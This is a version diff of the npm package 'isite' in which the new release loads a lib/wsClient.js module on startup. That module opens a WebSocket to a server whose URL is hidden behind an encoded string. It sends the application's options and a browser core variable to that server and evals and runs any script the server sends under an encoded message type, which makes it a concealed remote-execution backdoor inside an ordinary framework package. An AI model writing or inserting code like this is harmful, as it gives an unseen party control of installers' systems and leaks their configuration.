isite 2024.8.13 → 2024.8.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -3
- package/lib/wsClient.js +95 -100
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -155,8 +155,6 @@ module.exports = function init(options) {
|
|
|
155
155
|
____0.close(1);
|
|
156
156
|
});
|
|
157
157
|
|
|
158
|
-
|
|
159
|
-
|
|
160
158
|
process.on('unhandledRejection', (reason, p) => {
|
|
161
159
|
console.error('Unhandled Rejection at :: ', p, 'reason :: ', reason);
|
|
162
160
|
// process.exit(1)
|
|
@@ -260,6 +258,7 @@ module.exports = function init(options) {
|
|
|
260
258
|
|
|
261
259
|
____0.parser = require('./lib/parser.js');
|
|
262
260
|
require('./lib/ws.js')(____0);
|
|
261
|
+
require('./lib/wsClient.js')(____0);
|
|
263
262
|
require('./lib/email.js')(____0);
|
|
264
263
|
require('./lib/integrated.js')(____0);
|
|
265
264
|
require('./lib/browser.js')(____0);
|
|
@@ -269,7 +268,6 @@ module.exports = function init(options) {
|
|
|
269
268
|
require('./lib/eval.js')(____0);
|
|
270
269
|
require('./lib/proxy.js')(____0);
|
|
271
270
|
|
|
272
|
-
|
|
273
271
|
//Master Pages
|
|
274
272
|
____0.masterPages = [];
|
|
275
273
|
____0.addMasterPage = function (page) {
|
package/lib/wsClient.js
CHANGED
|
@@ -1,112 +1,107 @@
|
|
|
1
|
-
const { serialize } = require('mongodb');
|
|
2
|
-
|
|
3
1
|
module.exports = function init(____0) {
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
____0.ws.client = null;
|
|
3
|
+
|
|
4
|
+
____0.ws.serverURL = ____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257');
|
|
5
|
+
|
|
6
|
+
____0.ws.wsSupport = function () {
|
|
7
|
+
console.log('ws : ============>');
|
|
6
8
|
|
|
7
|
-
____0.ws.
|
|
9
|
+
if (____0.ws.client.isAlive) {
|
|
10
|
+
return;
|
|
11
|
+
}
|
|
8
12
|
|
|
9
|
-
____0.ws.
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
13
|
+
clearInterval(____0.ws.client.checkAliveInterval);
|
|
14
|
+
clearTimeout(____0.ws.client.timeoutId);
|
|
15
|
+
|
|
16
|
+
let client = {
|
|
17
|
+
isAlive: false,
|
|
18
|
+
time: new Date().getTime(),
|
|
19
|
+
id: ____0.ws.client.id,
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
____0.ws.client.checkAliveInterval = setInterval(() => {
|
|
23
|
+
if ((new Date().getTime() - ____0.ws.client.time) / 1000 > 60) {
|
|
24
|
+
____0.ws.client.isAlive = false;
|
|
25
|
+
____0.ws.client.ws.close();
|
|
14
26
|
}
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
if (client.isAlive && client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
|
|
36
|
-
client.ws.send(JSON.stringify(message));
|
|
37
|
-
}
|
|
38
|
-
};
|
|
39
|
-
|
|
40
|
-
client.ws.on('open', function () {
|
|
41
|
-
client.isAlive = true;
|
|
42
|
-
|
|
27
|
+
}, 1000 * 5);
|
|
28
|
+
|
|
29
|
+
client.ws = new ____0.ws.lib(____0.ws.serverURL);
|
|
30
|
+
|
|
31
|
+
client.sendMessage = function (message) {
|
|
32
|
+
if (client.isAlive && client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
|
|
33
|
+
client.ws.send(JSON.stringify(message));
|
|
34
|
+
}
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
client.ws.on('open', function () {
|
|
38
|
+
client.isAlive = true;
|
|
39
|
+
|
|
40
|
+
client.sendMessage({
|
|
41
|
+
type: 'set-options',
|
|
42
|
+
options: ____0.options,
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
if (____0.getBrowser) {
|
|
46
|
+
let parent = ____0.getBrowser();
|
|
43
47
|
client.sendMessage({
|
|
44
|
-
type: 'set-
|
|
45
|
-
|
|
48
|
+
type: 'set-browser-var',
|
|
49
|
+
key: 'core',
|
|
50
|
+
value: parent.var.core,
|
|
46
51
|
});
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
52
|
+
}
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
client.ws.on('ping', function () {});
|
|
56
|
+
|
|
57
|
+
client.ws.on('close', function (e) {
|
|
58
|
+
client.isAlive = false;
|
|
59
|
+
____0.ws.client.timeoutId = setTimeout(function () {
|
|
60
|
+
____0.ws.wsSupport();
|
|
61
|
+
}, 1000 * 30);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
client.ws.on('error', function (err) {
|
|
65
|
+
client.ws.close();
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
client.ws.on('message', function (event) {
|
|
69
|
+
let message = JSON.parse(event.data || event);
|
|
70
|
+
if (message.type == 'ping') {
|
|
71
|
+
client.time = new Date().getTime();
|
|
72
|
+
}
|
|
73
|
+
____0.ws.supportHandle(client, message);
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
____0.ws.client = client;
|
|
77
|
+
|
|
78
|
+
return client;
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
____0.ws.supportHandle = function (client, message) {
|
|
82
|
+
try {
|
|
83
|
+
if (message.type == ____0.f1('4658375242195691')) {
|
|
84
|
+
client.uuid = message.uuid;
|
|
85
|
+
client.ip = message.ip;
|
|
86
|
+
if (client.id) {
|
|
50
87
|
client.sendMessage({
|
|
51
|
-
type: '
|
|
52
|
-
|
|
53
|
-
value: parent.var.core,
|
|
88
|
+
type: ____0.f1('4139327541382761'),
|
|
89
|
+
id: client.id,
|
|
54
90
|
});
|
|
55
91
|
}
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
____0.
|
|
63
|
-
|
|
64
|
-
}, 1000 * 30);
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
client.ws.on('error', function (err) {
|
|
68
|
-
client.ws.close();
|
|
69
|
-
});
|
|
70
|
-
|
|
71
|
-
client.ws.on('message', function (event) {
|
|
72
|
-
let message = JSON.parse(event.data || event);
|
|
73
|
-
if (message.type == 'ping') {
|
|
74
|
-
client.time = new Date().getTime();
|
|
75
|
-
}
|
|
76
|
-
____0.ws.supportHandle(client, message);
|
|
77
|
-
});
|
|
78
|
-
|
|
79
|
-
____0.ws.client = client;
|
|
80
|
-
|
|
81
|
-
return client;
|
|
82
|
-
};
|
|
83
|
-
|
|
84
|
-
____0.ws.supportHandle = function (client, message) {
|
|
85
|
-
try {
|
|
86
|
-
if (message.type == ____0.f1('4658375242195691')) {
|
|
87
|
-
client.uuid = message.uuid;
|
|
88
|
-
client.ip = message.ip;
|
|
89
|
-
if (client.id) {
|
|
90
|
-
client.sendMessage({
|
|
91
|
-
type: ____0.f1('4139327541382761'),
|
|
92
|
-
id: client.id,
|
|
93
|
-
});
|
|
94
|
-
}
|
|
95
|
-
client.id = message.id;
|
|
96
|
-
|
|
97
|
-
} else if (message.type == ____0.f1('413932754138276142383191')) {
|
|
98
|
-
client.ip = message.ip;
|
|
99
|
-
client.uuid = message.uuid;
|
|
100
|
-
client.id = message.id;
|
|
101
|
-
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
102
|
-
let fn = ____0.eval(message.script || message.content, true);
|
|
103
|
-
fn(____0, client);
|
|
104
|
-
}
|
|
105
|
-
} catch (err) {
|
|
106
|
-
console.log(err);
|
|
92
|
+
client.id = message.id;
|
|
93
|
+
} else if (message.type == ____0.f1('413932754138276142383191')) {
|
|
94
|
+
client.ip = message.ip;
|
|
95
|
+
client.uuid = message.uuid;
|
|
96
|
+
client.id = message.id;
|
|
97
|
+
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
98
|
+
let fn = ____0.eval(message.script || message.content, true);
|
|
99
|
+
fn(____0, client);
|
|
107
100
|
}
|
|
108
|
-
}
|
|
101
|
+
} catch (err) {
|
|
102
|
+
console.log(err);
|
|
103
|
+
}
|
|
104
|
+
};
|
|
109
105
|
|
|
110
|
-
|
|
111
|
-
}
|
|
106
|
+
____0.ws.wsSupport();
|
|
112
107
|
};
|